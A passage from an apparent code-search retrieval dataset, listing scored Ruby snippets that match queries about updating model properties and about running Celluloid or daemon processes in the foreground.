attributes for the files\n file_accessibles = file_class.accessible_attributes.map(&:to_sym)\n\n # first normalize the collection (currently nested collections)\n property_files = property.attributes[:files].inject([]) do |result, (kind, collection)|\n collection.each do |file|\n file[:type] = kind.to_s.singularize.camelize if file_accessibles.include?(:type)\n file[\"remote_#{Vebra.models[:file][:attachment_method]}_url\".to_sym] = file.delete(:url)\n # if file[:type] is set, it means the attachment file class can be subclassed. In this\n # case we need to ensure that the subclass exists. If not, we ignore this file\n begin\n file[:type].constantize if file_accessibles.include?(:type)\n result << file\n rescue NameError => e\n # ignore - this means the subclass does not exist\n puts \"[Vebra]: #{e.message}\" if Vebra.debugging?\n end\n end\n\n result\n end\n\n # delete any files which are no longer present\n property_model_files = property_model.send(Vebra.models[:property][:files_method])\n refs_to_delete = property_model_files.map(&:vebra_ref) - property_files.map { |f| f[:vebra_ref] }\n property_model_files.each do |file|\n file.destroy if refs_to_delete.include?(file.vebra_ref)\n end\n\n # find & update or build new files\n property_files.each do |file|\n begin\n file_model = property_model_files.find_by_vebra_ref(file[:vebra_ref])\n file_model = property_model_files.build unless file_model\n\n # extract accessible attributes for the file\n file_attributes = file.inject({}) do |result, (key, value)|\n result[key] = value if file_accessibles.include?(key)\n result\n end\n\n # update the room model's attributes\n file_model.update_attributes(file_attributes)\n rescue CarrierWave::ProcessingError, OpenURI::HTTPError => e\n # just ignore the file\n puts \"[Vebra]: #{e.message}\" if Vebra.debugging?\n end\n end\n end\n\n property_model.no_callbacks = false if property_model.respond_to?(:no_callbacks)\n property_model.save\n return property_model\n end",
"title": ""
},
{
"docid": "01219537b43bd1cf8341e0f00e27d4c8",
"score": "0.6156169",
"text": "def update!(**args)\n @id = args[:id] if args.key?(:id)\n @property_value = args[:property_value] if args.key?(:property_value)\n end",
"title": ""
},
{
"docid": "147d62c4df79ff1ca86cbd477112bf7f",
"score": "0.61445665",
"text": "def update\n end",
"title": ""
},
{
"docid": "f3dea89f306804c3f2aa813c06584d06",
"score": "0.6125433",
"text": "def update!(**args)\n @mid = args[:mid] if args.key?(:mid)\n @property_value = args[:property_value] if args.key?(:property_value)\n end",
"title": ""
},
{
"docid": "44756fd86dd095556580199f7e78936f",
"score": "0.61241156",
"text": "def modified_properties=(value)\n @modified_properties = value\n end",
"title": ""
},
{
"docid": "593de84fa9950baa68153e4fa9b6e17c",
"score": "0.6121413",
"text": "def apply_properties!(properties)\n # Non-commutitivity etc. eventually.\n end",
"title": ""
},
{
"docid": "ea25adea5b43c27e6c84f27ad88c3d9f",
"score": "0.6110477",
"text": "def set_properties(hash)\n hash.each do |key, value|\n add_or_remove_ostruct_member(key, value)\n end\n rest_reset_properties\n end",
"title": ""
},
{
"docid": "147138a710a0ff53e9288ae66341894f",
"score": "0.6105694",
"text": "def update\n\t\t\n\t\tend",
"title": ""
},
{
"docid": "7b1d2242b1a6bd8d3cad29be97783a80",
"score": "0.61016303",
"text": "def set_props(props)\n @props.merge!(props)\n end",
"title": ""
},
{
"docid": "cb2162d3a1fd3434effd12aa702f250f",
"score": "0.60845226",
"text": "def update() end",
"title": ""
},
{
"docid": "231370ed2400d22825eba2b5b69e7a67",
"score": "0.6084427",
"text": "def update!(**args)\n @property_definitions = args[:property_definitions] if args.key?(:property_definitions)\n end",
"title": ""
},
{
"docid": "86ff97cc222b987bff78c1152a1c8ee1",
"score": "0.6065455",
"text": "def assign_properties\n self.properties ||= {}\n listing_properties.each do |prop|\n self.properties[prop.key] ||= prop.value\n end\n end",
"title": ""
},
{
"docid": "0f6ea4c54f9bc18020c08410f67289cd",
"score": "0.6059506",
"text": "def change_properties(new_current_floor, new_next_floor, new_movement)\n @current_floor = new_current_floor\n @next_floor = new_next_floor\n @movement = new_movement\n end",
"title": ""
},
{
"docid": "453da6bb915596261c5b82f2d17cabf8",
"score": "0.6054869",
"text": "def update!(**args)\n @property_value = args[:property_value] if args.key?(:property_value)\n end",
"title": ""
},
{
"docid": "52a81d6eb0fed16fe2a23be3d9ebc264",
"score": "0.6051708",
"text": "def update!(**args)\n @property_name = args[:property_name] if args.key?(:property_name)\n end",
"title": ""
},
{
"docid": "52a81d6eb0fed16fe2a23be3d9ebc264",
"score": "0.6051708",
"text": "def update!(**args)\n @property_name = args[:property_name] if args.key?(:property_name)\n end",
"title": ""
},
{
"docid": "874639781ed80ae451fbdd6ebbef2218",
"score": "0.60413384",
"text": "def update(attributes)\n (@attributes ||= {}).merge! attributes\n\n (self.class.attr_initializables & attributes.keys).each do |name|\n instance_variable_set :\"@#{name}\", attributes[name]\n end\n\n self\n end",
"title": ""
},
{
"docid": "d175f5bedd91a8daf191cad42b04dc0c",
"score": "0.6030853",
"text": "def update_attributes(attrs)\n super({})\n end",
"title": ""
},
{
"docid": "b8d1a7cd8f443ee5f30b5085aadff479",
"score": "0.6022535",
"text": "def update\n @dirty = true\n end",
"title": ""
},
{
"docid": "d7d62f9c97f629ef8c88e56d3d1ce8ee",
"score": "0.6015561",
"text": "def update\n\n # Run through the mixin updates\n colourable_update\n movable_update\n\n end",
"title": ""
},
{
"docid": "71750bae7e3d6bdde2b60ec30e70949a",
"score": "0.59932375",
"text": "def set(props)\n props.each do |prop, val|\n self.send(:\"#{ prop }=\", val)\n end\n end",
"title": ""
},
{
"docid": "73fe9bc31bfeeab4d84483e2fa65cbbb",
"score": "0.59898263",
"text": "def update\n super\n end",
"title": ""
},
{
"docid": "a98ac99e6e5115383e9148202286ff9e",
"score": "0.5976479",
"text": "def update!(**args)\n @property_id = args[:property_id] if args.key?(:property_id)\n @value_status = args[:value_status] if args.key?(:value_status)\n end",
"title": ""
},
{
"docid": "fb14f35e7fab31199053a7b87ef451a4",
"score": "0.5973787",
"text": "def update!(**args)\n @object_size_bytes = args[:object_size_bytes] if args.key?(:object_size_bytes)\n @object_version = args[:object_version] if args.key?(:object_version)\n end",
"title": ""
},
{
"docid": "6441b3fa93c3dfd974c66a975adb9d9c",
"score": "0.59678394",
"text": "def movable_update\n\n # Work through the different aspects we update\n movable_location_update\n movable_size_update\n movable_angle_update\n\n end",
"title": ""
},
{
"docid": "51a59f953548d1eff10532bdffdd8df9",
"score": "0.5963291",
"text": "def properties=(value)\n @properties = value\n end",
"title": ""
},
{
"docid": "e7a3d5504fcc6e382b06845ede0d5fd8",
"score": "0.5962048",
"text": "def update(attrs)\n attrs.each_pair do |key, value|\n send(\"#{key}=\", value) if respond_to?(\"#{key}=\")\n # attributes[key] = value <- lets make use of virtual attributes too\n end\n end",
"title": ""
},
{
"docid": "c7a2880c3da02b3708afc43c48d37f2e",
"score": "0.5961157",
"text": "def update(context={})\n self.pre_cast_attributes\n m2o = @relations.reject{|k, v| !self.class.many2one_relations.has_key?(k)}\n vals = @attributes.reject {|key, value| key == 'id'}.merge(m2o.merge(m2o){|k, v| v.is_a?(Array) ? v[0] : v})\n self.class.rpc_execute('write', self.id, vals, context)\n reload_from_record!(self.class.find(self.id, :context => context))\n end",
"title": ""
},
{
"docid": "c3f11e80d4ed9199aaaf751efade4812",
"score": "0.5950731",
"text": "def update; end",
"title": ""
},
{
"docid": "c3f11e80d4ed9199aaaf751efade4812",
"score": "0.5950731",
"text": "def update; end",
"title": ""
},
{
"docid": "c3f11e80d4ed9199aaaf751efade4812",
"score": "0.5950731",
"text": "def update; end",
"title": ""
},
{
"docid": "c3f11e80d4ed9199aaaf751efade4812",
"score": "0.5950731",
"text": "def update; end",
"title": ""
},
{
"docid": "c3f11e80d4ed9199aaaf751efade4812",
"score": "0.5950731",
"text": "def update; end",
"title": ""
},
{
"docid": "c3f11e80d4ed9199aaaf751efade4812",
"score": "0.5950731",
"text": "def update; end",
"title": ""
},
{
"docid": "c3f11e80d4ed9199aaaf751efade4812",
"score": "0.5950731",
"text": "def update; end",
"title": ""
},
{
"docid": "c3f11e80d4ed9199aaaf751efade4812",
"score": "0.5950731",
"text": "def update; end",
"title": ""
},
{
"docid": "5ca2caa1a207739e77f437de35e41cf1",
"score": "0.59500545",
"text": "def update ; end",
"title": ""
},
{
"docid": "a20f534093aba7e3633ca0ac07a56d53",
"score": "0.59443134",
"text": "def update!(**args)\n @freshness_duration = args[:freshness_duration] if args.key?(:freshness_duration)\n @freshness_property = args[:freshness_property] if args.key?(:freshness_property)\n end",
"title": ""
},
{
"docid": "a20f534093aba7e3633ca0ac07a56d53",
"score": "0.59443134",
"text": "def update!(**args)\n @freshness_duration = args[:freshness_duration] if args.key?(:freshness_duration)\n @freshness_property = args[:freshness_property] if args.key?(:freshness_property)\n end",
"title": ""
},
{
"docid": "2c309c8084bf29f0b8d8674d22086956",
"score": "0.59424853",
"text": "def method_missing(method, *args)\n super if @updated\n set_up_properties_from(@client.get(@path))\n self.send method, *args\n end",
"title": ""
},
{
"docid": "2c309c8084bf29f0b8d8674d22086956",
"score": "0.59424853",
"text": "def method_missing(method, *args)\n super if @updated\n set_up_properties_from(@client.get(@path))\n self.send method, *args\n end",
"title": ""
},
{
"docid": "879f1214e030bb2d9e43a0aedb1bc3ea",
"score": "0.593523",
"text": "def update_with(attributes)\n assign_attributes(attributes)\n end",
"title": ""
},
{
"docid": "10b1cb39dbb1f67820e37bb6d2632986",
"score": "0.5926413",
"text": "def update\n # don't need to update; hash is shared\n end",
"title": ""
},
{
"docid": "51982942bd4f09be3f7adc59da4cf104",
"score": "0.5924831",
"text": "def update(attributes)\n HashProxy.with(attributes) do |proxy|\n self.class.attribute_names.each do |name|\n send(\"#{name}=\", proxy[name]) if proxy.key?(name)\n end\n end\n save\n end",
"title": ""
},
{
"docid": "f0dd489c52fa73b1c3846fa43727c29e",
"score": "0.592427",
"text": "def update!(**args)\n @object_id_prop = args[:object_id_prop] if args.key?(:object_id_prop)\n @relation = args[:relation] if args.key?(:relation)\n @subject_id = args[:subject_id] if args.key?(:subject_id)\n end",
"title": ""
},
{
"docid": "4229acd17d03e94871226b09dd3bd37d",
"score": "0.59233046",
"text": "def update!(**args)\n @boolean_property_options = args[:boolean_property_options] if args.key?(:boolean_property_options)\n @date_property_options = args[:date_property_options] if args.key?(:date_property_options)\n @display_options = args[:display_options] if args.key?(:display_options)\n @double_property_options = args[:double_property_options] if args.key?(:double_property_options)\n @enum_property_options = args[:enum_property_options] if args.key?(:enum_property_options)\n @html_property_options = args[:html_property_options] if args.key?(:html_property_options)\n @integer_property_options = args[:integer_property_options] if args.key?(:integer_property_options)\n @is_facetable = args[:is_facetable] if args.key?(:is_facetable)\n @is_repeatable = args[:is_repeatable] if args.key?(:is_repeatable)\n @is_returnable = args[:is_returnable] if args.key?(:is_returnable)\n @is_sortable = args[:is_sortable] if args.key?(:is_sortable)\n @is_suggestable = args[:is_suggestable] if args.key?(:is_suggestable)\n @is_wildcard_searchable = args[:is_wildcard_searchable] if args.key?(:is_wildcard_searchable)\n @name = args[:name] if args.key?(:name)\n @object_property_options = args[:object_property_options] if args.key?(:object_property_options)\n @text_property_options = args[:text_property_options] if args.key?(:text_property_options)\n @timestamp_property_options = args[:timestamp_property_options] if args.key?(:timestamp_property_options)\n end",
"title": ""
},
{
"docid": "4229acd17d03e94871226b09dd3bd37d",
"score": "0.59233046",
"text": "def update!(**args)\n @boolean_property_options = args[:boolean_property_options] if args.key?(:boolean_property_options)\n @date_property_options = args[:date_property_options] if args.key?(:date_property_options)\n @display_options = args[:display_options] if args.key?(:display_options)\n @double_property_options = args[:double_property_options] if args.key?(:double_property_options)\n @enum_property_options = args[:enum_property_options] if args.key?(:enum_property_options)\n @html_property_options = args[:html_property_options] if args.key?(:html_property_options)\n @integer_property_options = args[:integer_property_options] if args.key?(:integer_property_options)\n @is_facetable = args[:is_facetable] if args.key?(:is_facetable)\n @is_repeatable = args[:is_repeatable] if args.key?(:is_repeatable)\n @is_returnable = args[:is_returnable] if args.key?(:is_returnable)\n @is_sortable = args[:is_sortable] if args.key?(:is_sortable)\n @is_suggestable = args[:is_suggestable] if args.key?(:is_suggestable)\n @is_wildcard_searchable = args[:is_wildcard_searchable] if args.key?(:is_wildcard_searchable)\n @name = args[:name] if args.key?(:name)\n @object_property_options = args[:object_property_options] if args.key?(:object_property_options)\n @text_property_options = args[:text_property_options] if args.key?(:text_property_options)\n @timestamp_property_options = args[:timestamp_property_options] if args.key?(:timestamp_property_options)\n end",
"title": ""
},
{
"docid": "32ed734ad4f899f0ee9ec74a760ca1d0",
"score": "0.5921224",
"text": "def update\n raise NotImplementedError\n end",
"title": ""
},
{
"docid": "900f4c147e0916b2e9270373fb83c7e2",
"score": "0.59144294",
"text": "def update_attributes attributes\n @attributes.merge! attributes\n end",
"title": ""
},
{
"docid": "f63de190ae582620103d96f60d684114",
"score": "0.59142506",
"text": "def update!(**args)\n @async_options = args[:async_options] if args.key?(:async_options)\n @input_mappings = args[:input_mappings] if args.key?(:input_mappings)\n @name_property = args[:name_property] if args.key?(:name_property)\n @validation_options = args[:validation_options] if args.key?(:validation_options)\n end",
"title": ""
},
{
"docid": "512d9095b05a696270730ee09c640773",
"score": "0.58887535",
"text": "def update\r\n end",
"title": ""
},
{
"docid": "5b1f6d40d29f0afb908434d0a6404ac8",
"score": "0.58854496",
"text": "def update!(**args)\n @hash_prop = args[:hash_prop] if args.key?(:hash_prop)\n @type = args[:type] if args.key?(:type)\n end",
"title": ""
},
{
"docid": "efcb8c985b9e7911a606a9149b4ab171",
"score": "0.5883008",
"text": "def update\n raise NotImplemented\n end",
"title": ""
},
{
"docid": "65f67197ac4544cbebca350d889922ee",
"score": "0.58792305",
"text": "def update_obj\n mean, sd = rating.to_glicko_rating\n @obj.rating = mean\n @obj.rating_deviation = sd\n @obj.volatility = volatility\n end",
"title": ""
},
{
"docid": "c71a8be944fb89ab77a17fd4c16f7193",
"score": "0.5876954",
"text": "def update_values\n end",
"title": ""
},
{
"docid": "c71a8be944fb89ab77a17fd4c16f7193",
"score": "0.5876954",
"text": "def update_values\n end",
"title": ""
},
{
"docid": "10e162e857be9c47150e8eccd327cad9",
"score": "0.58744955",
"text": "def update\n raise NotImplementedError\n end",
"title": ""
},
{
"docid": "389ac4585e8143f353e2535499a23085",
"score": "0.5857968",
"text": "def update!(**args)\n @answers_header_signals = args[:answers_header_signals] if args.key?(:answers_header_signals)\n @property_value = args[:property_value] if args.key?(:property_value)\n @response_meaning_application = args[:response_meaning_application] if args.key?(:response_meaning_application)\n end",
"title": ""
},
{
"docid": "c202a823016f05ee2fc4aade77320497",
"score": "0.5845542",
"text": "def update!(**args)\n @create_time = args[:create_time] if args.key?(:create_time)\n @method_prop = args[:method_prop] if args.key?(:method_prop)\n @name = args[:name] if args.key?(:name)\n @state = args[:state] if args.key?(:state)\n end",
"title": ""
},
{
"docid": "dc268f568dcb7aca1d3905736d2477af",
"score": "0.5841629",
"text": "def update attributes, collection #:nodoc:\n 0\n end",
"title": ""
},
{
"docid": "9763ac25d7fdf4b4f35a971609f70b04",
"score": "0.58363605",
"text": "def update_property_groups(roll)\n @property_groups.each { |_, v| v.update_rent(roll) }\n end",
"title": ""
},
{
"docid": "541550458a4c8f94afeb6b10c0cb2293",
"score": "0.5829255",
"text": "def update!(**args)\n @source_property = args[:source_property] if args.key?(:source_property)\n end",
"title": ""
},
{
"docid": "49a282f2ce0c099a5ced60524a492b4f",
"score": "0.582919",
"text": "def update_info(update_attr_hash)\n update_attr_hash.each do |k,v| \n\t\t\tself.send(\"#{k}=\",v)\n\t\tend\n end",
"title": ""
},
{
"docid": "f6c4eafa4f48a0c81157fb03ff350901",
"score": "0.5822138",
"text": "def update_properties(path, properties)\n prop_patch = PropPatch.new(properties)\n emit('propPatch', [path, prop_patch])\n prop_patch.commit\n\n prop_patch.result\n end",
"title": ""
},
{
"docid": "524a6a969929f9af4bad05dbd9c8f935",
"score": "0.58208305",
"text": "def update\n set_deltatime\n set_last_update_at\n end",
"title": ""
}
] |
aa2f1c3954a2e76fa2c9dbaf73ab1fa4
|
Run Celluloid in the foreground
|
[
{
"docid": "3149a1c7104339a272ecf134c1c43105",
"score": "0.77633184",
"text": "def run\n\n # Run in the background if daemonizing\n (daemonize; return) if @options[:daemonize]\n\n # Otherwise, run in the foreground\n launch_celluloid(true)\n end",
"title": ""
}
] |
[
{
"docid": "f79d059914471adf23ea254eb6d3e21d",
"score": "0.6589524",
"text": "def launch!\n run!\n end",
"title": ""
},
{
"docid": "6a9a61bcefdfbb0c9f87766118bdda8e",
"score": "0.63596016",
"text": "def run\n if daemonize\n run_background\n else\n run_foreground\n end\n end",
"title": ""
},
{
"docid": "96a4cf9c2402553c29f09dfb3d4368a2",
"score": "0.6355453",
"text": "def on_run_stella_activate\n system(\"#{$wfsroot}/stellagui.rb &\")\n end",
"title": ""
},
{
"docid": "f28e28b602c31c5812dcb6ab1d980385",
"score": "0.61848235",
"text": "def cstart\n start\n console\n end",
"title": ""
},
{
"docid": "87fc00c359f188e9e5079b8b856ee6fa",
"score": "0.61637884",
"text": "def run_foreground\n if is_running?\n Deploy::Utils.debug \"Already running task #{task_name} at pid #{pid} status #{status}!\"\n return 1\n end\n call\n end",
"title": ""
},
{
"docid": "186e54f45555ecf46f719dd4da98c759",
"score": "0.6094377",
"text": "def start\n run\n log(\"commitron is now started\")\nend",
"title": ""
},
{
"docid": "cfec5bbbe4c73cc8b3ae66583be32565",
"score": "0.6038001",
"text": "def foreground\n idle_job.foreground\n end",
"title": ""
},
{
"docid": "63609c81f95a71d29d8c5f0c3a4e725c",
"score": "0.60293627",
"text": "def run!\n update_status :running\n end",
"title": ""
},
{
"docid": "13318003cfbcb931d628acaabd790c93",
"score": "0.5996711",
"text": "def start(options = {})\n run\n join unless options[:background]\n self\n end",
"title": ""
},
{
"docid": "29d919522ef06111bc35d5b3608a587f",
"score": "0.59749156",
"text": "def crestart\n restart\n console\n end",
"title": ""
},
{
"docid": "ab2551abb6c945b8b5157e261f839898",
"score": "0.5974089",
"text": "def run(options = {})\n listen\n join unless !!options[:background]\n self\n end",
"title": ""
},
{
"docid": "59150f9d7e1d3c673addc88c571dc142",
"score": "0.59564525",
"text": "def start\n @running = true\n\n # welcome\n # main_loop\n end",
"title": ""
},
{
"docid": "7c3d136984b99b9afccca057b9a29b81",
"score": "0.5936731",
"text": "def run\n loop do\n supervisor = run!\n\n # Take five, toplevel supervisor\n sleep 5 while supervisor.alive?\n\n Logger.error \"!!! Celluloid::Application #{self} crashed. Restarting...\"\n end\n end",
"title": ""
},
{
"docid": "9d4db3f4264cf96d9145456669c794fd",
"score": "0.593358",
"text": "def start\n info \"Configuring the actors...\"\n Celluloid::Actor[:listener].async.start\n Celluloid::Actor[:database_mid].async.start\n info \"All actors configured.\"\n end",
"title": ""
},
{
"docid": "235dd57a6d0ad2b35f54656cf285d7b7",
"score": "0.5915526",
"text": "def background\n idle_job.background\n end",
"title": ""
},
{
"docid": "613a8e040a7596af8348364440cde65c",
"score": "0.5899322",
"text": "def launch\n end",
"title": ""
},
{
"docid": "f802ecae2b74bacf08ace3d57b56928a",
"score": "0.58769184",
"text": "def daemonize\n start(true)\n end",
"title": ""
},
{
"docid": "527030792e5ce0b0b067d52e8cc5baae",
"score": "0.5874077",
"text": "def run(options = {}) \n listen!\n unless options[:background]\n @listener.join \n end\n self\n end",
"title": ""
},
{
"docid": "a8da3ea061d7417f43e1abb6186afc74",
"score": "0.5862727",
"text": "def mainloop\n Ricer::Thread.execute {\n loop {\n sleep 0.200\n PurpleRuby.main_loop_step\n }\n }\n end",
"title": ""
},
{
"docid": "4a790d3a9b6259389cf2ce82a7d464d4",
"score": "0.5860261",
"text": "def run\n if (! @running.nil?)\n raise \"Already running\"\n end\n info(VERSION_STRING)\n reset\n\n @running = ConditionVariable.new\n if @interactive\n require 'irb'\n ARGV.clear\n ARGV << \"--simple-prompt\"\n ARGV << \"--noinspect\"\n IRB.start()\n else\n interrupted = false\n trap(\"INT\") { interrupted = true }\n trap(\"TERM\") { interrupted = true }\n loop do\n if interrupted\n communicator.quit\n ExecApp.killAll\n exit\n end\n\t sleep 1\n end\n end\n end",
"title": ""
},
{
"docid": "8632d4452c583c87530d349a49a18836",
"score": "0.5837962",
"text": "def run_in_foreground\n $STYLE_SOCKET = create_socket(config[:bind], config[:port])\n config[:sockets][$STYLE_SOCKET] = config[:port]\n run_child\n end",
"title": ""
},
{
"docid": "428dad52c65cb536ccf98b6193bd08a0",
"score": "0.5829117",
"text": "def run_in_background(*args, &block)\n command_line = normalize_command_line(*args, &block)\n\n pid, out, err = spawn_process(command_line)\n Process.detach(pid)\n at_exit do\n kill_process(pid)\n end\n return collect_result(command_line, pid, out, err)\n end",
"title": ""
},
{
"docid": "fe574b6a8f9055bad7539d32c463169f",
"score": "0.5827324",
"text": "def employ\n self.start\n self.status = :running\n end",
"title": ""
},
{
"docid": "c3a60f8367ddf607a3f126d07a9b0b1c",
"score": "0.5815136",
"text": "def supervisor_start\n fork do\n detach\n File.open(config[:pidfile], 'wb'){|file| file.print(fork{supervisor_loop})}\n end\n end",
"title": ""
},
{
"docid": "3ebd5f886dc0179d8dff72f6c62cc828",
"score": "0.5789117",
"text": "def run\n puts \"Hey i'm running\"\n end",
"title": ""
},
{
"docid": "49e57502acbf44d1b2ffdcf69cef4b82",
"score": "0.5763407",
"text": "def run\n drb_start\n end",
"title": ""
},
{
"docid": "3502fa5f8a0130959c4008e582a1c586",
"score": "0.5754672",
"text": "def run_bg\n # EventMachine must be running before we can start a listener\n super\n start_background_task_thread\n end",
"title": ""
},
{
"docid": "9a80315fa8a9abb6db3092fd58e30189",
"score": "0.5746578",
"text": "def start\n return unless startable?\n\n @pid = fork do\n until @tomato.completed?\n sleep SLEEP_TIME\n end\n\n notifier = Notification.for(config.attributes['notifier'])\n # notifier = Tamarillo::Notification::Touch.new('~/Desktop/tamarillo')\n notifier.call\n\n cleanup\n end\n\n Process.detach(@pid)\n save\n end",
"title": ""
},
{
"docid": "180eb9da0480963e247e8e564223d0d9",
"score": "0.57420826",
"text": "def start\n daemonize unless running?\n end",
"title": ""
},
{
"docid": "41046e82205a828a6c7f27d597d09405",
"score": "0.5737474",
"text": "def run\n previous_env = get_env\n\n @config.clamp\n\n @config.plugins.fire_starts self\n\n setup_signals\n set_process_title\n\n # This blocks until the server is stopped\n @runner.run\n\n do_run_finished(previous_env)\n end",
"title": ""
},
{
"docid": "9adc93dde160c86999812d0e9a978e74",
"score": "0.57333165",
"text": "def run!\n @status = :running\n end",
"title": ""
},
{
"docid": "0c54577a8576c2501c30d90332d4347f",
"score": "0.5731396",
"text": "def work\n # Start an external process and monitor its output etc.\n end",
"title": ""
},
{
"docid": "fb9eed6d47ba202d8a59ca2809c85ece",
"score": "0.5728671",
"text": "def run_in_background\n FileUtils.rm_rf @options.log_folder\n FileUtils.mkdir_p @options.log_folder\n\n pid = spawn(*cli_command, %i[err out] => File.join(@options.log_folder, 'convert_videos.log'))\n nice_process pid\n report_process_priority pid\n pid\n end",
"title": ""
},
{
"docid": "1fc825d10f89f35f45b7cb3dcfc4fd0c",
"score": "0.5726135",
"text": "def cruciforce\n cruciforce_start\n end",
"title": ""
},
{
"docid": "f0a0b508cdbd3197c69cce97498b982d",
"score": "0.5718209",
"text": "def daemon_first_loop\n say '-----------------------------------'\n say 'MiGA:%s launched' % project.name\n say '-----------------------------------'\n miga_say \"Saving log to: #{output_file}\" unless show_log?\n say 'Configuration options:'\n say @runopts.to_s\n load_status\n queue_maintenance(true)\n end",
"title": ""
},
{
"docid": "eb307b69454be8b79628442f296bdcc8",
"score": "0.57136846",
"text": "def autostart; end",
"title": ""
},
{
"docid": "7fe42c361cf4e8d83528c53deed7c188",
"score": "0.56847507",
"text": "def run(background = T.unsafe(nil)); end",
"title": ""
},
{
"docid": "9812821dbfa5dac7b2e2fba747a3261f",
"score": "0.5683238",
"text": "def start\n @running = true\n run\n end",
"title": ""
},
{
"docid": "696d89f2a752c1d137f515dd692c1c9f",
"score": "0.56753856",
"text": "def run(cmd, background = false)\n system %[nohup sudo -u #{options['user']} #{cmd} #{options['log_stream']} #{'&' if background}]\n end",
"title": ""
},
{
"docid": "c3116b3db046a668072e88d0ba75c249",
"score": "0.5660946",
"text": "def start\n if @prepared && !@started\n @mutex.synchronize do\n @cin, @cout, @cerr, @cpid = Open3.popen3(\"#{@riak_script} console\")\n @cin.puts\n wait_for_erlang_prompt\n @started = true\n end\n end\n end",
"title": ""
},
{
"docid": "dc22ef5fcdd760f9ef9cef19c1b2f18b",
"score": "0.5653581",
"text": "def start\n Lux.config.lux_config_loaded = true\n\n Config.start!\n end",
"title": ""
},
{
"docid": "1ee83822a64687cdfa7017f29034f1d3",
"score": "0.56281906",
"text": "def start!\n @eventloop.start\n end",
"title": ""
},
{
"docid": "d9ecf10ee01399c44800b49c0239d6a2",
"score": "0.5622764",
"text": "def background_job(script=nil, &block)\n sh = Reish::current_shell\n sh.start_job(false, script, &block)\n end",
"title": ""
},
{
"docid": "58e054e62ca1b1b4a7727ffb4af5a988",
"score": "0.5615835",
"text": "def background cmd\n cmd + \" &\"\n end",
"title": ""
},
{
"docid": "88cd59b38785356b4d202aeac970a9b7",
"score": "0.5591222",
"text": "def run(*paths)\n if interactive?\n launch_in_background(*paths)\n else\n ConsoleLoop.new(@tool, *paths).run\n end\n end",
"title": ""
},
{
"docid": "9bd1782223eeb0accadf5496da03187c",
"score": "0.558034",
"text": "def start_background_worker(quiet = T.unsafe(nil)); end",
"title": ""
},
{
"docid": "0db67c9cd1d22361a29ad8fe4f35ec38",
"score": "0.5577714",
"text": "def run_bg(cmd)\n job = fork { exec cmd }\n Process.detach job\n end",
"title": ""
},
{
"docid": "1807a2e3e39fba9754033ea30437d544",
"score": "0.55768514",
"text": "def start\n puts \"== Connected to #{redis.client.id}\"\n puts \"== Waiting for commands from `#{options[:queue]}`\"\n \n if options[:daemon]\n puts \"== Daemonizing...\"\n Daemons.daemonize\n end\n \n loop do\n begin \n cid = redis.blpop(options[:queue], 10)[1]\n if cmd = commands[cid.to_s]\n puts \"\\e[33m[#{Time.now}]\\e[0m Reacting for `#{cid}` command\"\n threads.add(Thread.new { system(cmd) })\n end\n rescue Interrupt, SystemExit\n puts \"\\nCleaning up...\"\n return 0\n rescue => ex\n puts \"ERROR: #{ex}\"\n end\n end\n end",
"title": ""
},
{
"docid": "5e7235365323646ab8202927b843b8f4",
"score": "0.55682844",
"text": "def dispatch_cloop\n begin\n trap_signals\n @sklaventreiber = SklavenTreiber.new(self, uniqid)\n @sklaventreiber.spooled do\n @opts[:stdout].disable\n hook(:prompt_start) { @opts[:stdout].enable }\n hook(:prompt_stop) { @opts[:stdout].disable(true) }\n begin\n @sklaventreiber._init_window\n loop do\n break if $core_runtime_exiting\n sleep 0.1\n end\n ensure\n sandboxed { @sklaventreiber.window.try(:stop) }\n end\n end\n ensure\n release_signals\n end\n end",
"title": ""
},
{
"docid": "b1983e6d5462e8c8b2625501b965cb24",
"score": "0.55635154",
"text": "def run(background=true)\n if background\n @thread = Thread.new do\n Puma.set_thread_name \"reactor\"\n select_loop\n end\n else\n select_loop\n end\n end",
"title": ""
},
{
"docid": "d935b3e042db47dfff8511a38a44279a",
"score": "0.5560795",
"text": "def terminate\n terminate!\n ::Celluloid::Actor.join(self)\n nil\n end",
"title": ""
},
{
"docid": "3e806608fdc2317ac01694c9363a5794",
"score": "0.5560004",
"text": "def start\n @running = true\n end",
"title": ""
},
{
"docid": "6b719bacab1059476f6c8db03e139d40",
"score": "0.5559653",
"text": "def start!\n invoke [:start]\n end",
"title": ""
},
{
"docid": "3c5044bc3d063f9a911f3ed305a3fc6e",
"score": "0.55405897",
"text": "def main_loop\n # will it run?\n SystemInfo.check_dependencies\n # let em know it's running\n send_message startup_message\n # run it!\n loop do\n harvest_messages\n @ripe_messages.each {|msg| send_message msg} unless @ripe_messages.nil?\n clear_ripe_messages!\n tick!\n end\n end",
"title": ""
},
{
"docid": "b07a25307f1a0ab683776c2ae43f6915",
"score": "0.5532574",
"text": "def setup!\n @server.start_background unless @server.running?\n end",
"title": ""
},
{
"docid": "0a1d7e78c6aa900cb50904256c20ce1c",
"score": "0.5531731",
"text": "def task_in_background( task_name, options={} )\n options.reverse_merge!(:rails_env => RAILS_ENV)\n args = options.map { |k, v| [k.to_s.upcase, v.to_s].join('=') }\n \n command = \"rake #{task_name} #{args.join(' ')} --trace 2>&1 >> /dev/null &\"\n system(command)\n end",
"title": ""
},
{
"docid": "2eeb7eb8343fd4a0326f31db574a98b9",
"score": "0.5530653",
"text": "def start\n trap(\"INT\") { $raspigl_terminate = true }\n at_exit { self.cleanup } \n\n while !$raspigl_terminate do\n sleep @_opts[:main_loop_sleep]\n self.loop\n end\n end",
"title": ""
},
{
"docid": "b6cf12461d9f2d352f632320ad09e333",
"score": "0.5525983",
"text": "def start_background_worker?; end",
"title": ""
},
{
"docid": "524553e5e3dedfc846024527dad311d9",
"score": "0.5524146",
"text": "def start\n _cmd('start')\n end",
"title": ""
},
{
"docid": "3f888d99fea5901b22d10b104d7a9fac",
"score": "0.5515912",
"text": "def start\n work while @running\n end",
"title": ""
},
{
"docid": "3f888d99fea5901b22d10b104d7a9fac",
"score": "0.5515912",
"text": "def start\n work while @running\n end",
"title": ""
},
{
"docid": "afecfab41fd8144568ac0338f93be90f",
"score": "0.551304",
"text": "def start!\n unless @server.running?\n @server.start_background\n Chef::Config[:chef_server_url] = @server.url\n end\n end",
"title": ""
},
{
"docid": "afecfab41fd8144568ac0338f93be90f",
"score": "0.551304",
"text": "def start!\n unless @server.running?\n @server.start_background\n Chef::Config[:chef_server_url] = @server.url\n end\n end",
"title": ""
},
{
"docid": "07bf772cbb4a65af58a7f325d2c03bff",
"score": "0.5510697",
